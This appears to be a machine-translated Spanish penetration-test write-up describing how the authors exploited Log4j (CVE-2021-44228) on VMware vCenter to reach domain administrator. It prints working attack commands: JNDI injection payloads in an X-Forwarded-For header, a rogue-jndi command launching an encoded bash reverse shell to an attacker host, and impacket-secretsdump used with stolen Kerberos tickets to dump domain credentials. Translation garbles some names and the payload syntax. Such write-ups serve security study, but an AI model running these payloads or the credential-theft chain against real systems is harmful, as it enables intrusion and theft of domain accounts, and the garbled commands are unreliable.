Aprovechamiento del exploit Log4j para el administrador de dominios

Hace poco realizamos otra evaluación interna de la red con el objetivo de obtener acceso de administrador de dominio en la red de destino. Teníamos acceso no autenticado a la red, es decir, un usuario no autorizado o un atacante interno a la LAN del usuario. Comenzamos la evaluación con nuestras actividades iniciales de reconocimiento y establecimiento e identificamos algunas instancias de VMware vCenter en la red. ¿Pensando en log4j exploit 🤔

La vulnerabilidad reciente, CVE-2021-44228 — Log4j de Apache, una biblioteca de registro de código abierto que suelen utilizar las aplicaciones y los servicios de Internet. La vulnerabilidad permite a un atacante ejecutar comandos en el sistema de forma remota, robar contraseñas e inicios de sesión, extraer datos e infectar o comprometer toda la red.

Aquí está lo último CERTIFICADO NZ asesoramiento si desea obtener más información sobre la vulnerabilidad, el impacto y cómo prevenirla y remediarla.

‍

La versión instalada se ve afectada por la vulnerabilidad log4j según el VMware blog. Empezamos a jugar con la vulnerabilidad insertando las cargas útiles en varios campos de cabecera, como User-Agent, Clave X-API, tipo de contenido, X-Forwarded-For, etc. Como alternativa, teníamos a nuestro oyente de netcat escuchando en el puerto 4444.

Tras algunos intentos, nuestra carga útil de log4j funcionó en el encabezado X-Forwarded-For y logramos volver a conectarnos con nuestro oyente de netcat. Sí, es un RCE 😁

‍

La carga útil y el comando que funcionaron para nosotros son los siguientes:

curl -k -X GET -H $'X-Forwarded-For: $ {jndi:ldap: //10.1.XX.XX:4444} 'https://10.1.XX.XX/websso/SAML2/SLO/vsphere.local?SAMLRequest =

Nuestro siguiente paso es ejecutar un servidor JNDI controlado por un atacante y ejecutar la carga útil en el servidor. Nos encontramos con una herramienta genial que funcionaría en nuestro escenario: https://github.com/veracode-research/rogue-jndi. Compilamos el servidor rogue-jndi y ejecutamos el siguiente comando para obtener la shell inversa en el objetivo.

java -jar target/roguejndi-1.1.jar -c «bash -c {echo, ymfZacatasa+jiavzgv2l3rjcc8xmc4XllhyllHylzq0ndQgmd4mmQ==} | {base64, -d} | {bash, -i}» -n 10.1.XX.XXX

La codificación base64 del comando anterior es un shell bash inverso de una línea para nuestra máquina controlada por el atacante.

‍

Generamos la carga útil con el servidor rogue-jndi y la utilizamos para obtener acceso de root al servidor afectado.

curl -k -X GET -H $'X-Forwarded-For: $ {jndi:ldap: //10.1.xx.xx:1389/o=Tomcat} 'https://10.1.XX.XX/websso/SAML2/SLO/vsphere.local?SAMLRequest =

El comando anterior nos dio la conexión inversa y fuimos la raíz del servidor VMware vCenter. En este punto, podemos ejecutar cualquier comando del sistema; espere, es una caja de Linux.

‍

Tenemos un usuario root en la máquina Linux. ¿Y ahora qué?

Dado que la mayoría de los exploits disponibles públicamente se lanzan para el entorno Windows y teníamos acceso de root en Linux, hay muy pocas técnicas que podríamos utilizar para obtener DA. Empezamos a enumerar el sistema en busca de información confidencial y encontramos un ticket de Kerberos en el directorio /tmp. Descubrimos todas las instancias del servidor vCenter de la red, pusimos en peligro cada una de ellas y todas tenían un vale de Kerberos en el directorio /tmp.

‍

A continuación, copiamos los tickets a nuestra máquina de pruebas e identificamos que el ticket de Kerberos pertenecía a la cuenta de servicio privilegiada. Bum, aquí tenemos los boletos ganadores de la lotería 😁

‍

A partir de aquí, utilizamos la técnica tradicional para realizar el ataque de pase el billete (PTT) con el Impacto framework y descargó el archivo ntds.dit. El comando se ejecutó correctamente ya que la cuenta de servicio era una cuenta privilegiada.

impacket-secretsdump -k -no-pass -just-dc <target FQDN>

‍

Tras una enumeración más detallada, identificamos que la cuenta de servicio pertenecía al grupo de administradores de dominio y que nosotros somos los administradores de dominio. Otro ✌️

‍

‍